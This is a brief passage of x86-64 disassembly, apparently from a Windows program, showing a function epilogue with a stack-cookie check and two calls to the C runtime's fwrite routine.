je 0x14002c1f9
mov dl, 1
mov rcx, rdi
call fcn.14001c9e0
mov rax, qword [rdi + 0x670]
lea r8, [rsp + 0x30]
mov r9, rbx
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
call fcn.14001c9e0
mov rbx, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140066c90
add rsp, 0x160
pop rdi
ret
mov r9, qword [rdi + 0x668]
lea rcx, [0x14006c198]
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
lea rcx, [rsp + 0x30]
mov r8d, 1
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x14002c1d8
call fcn.140067444
int3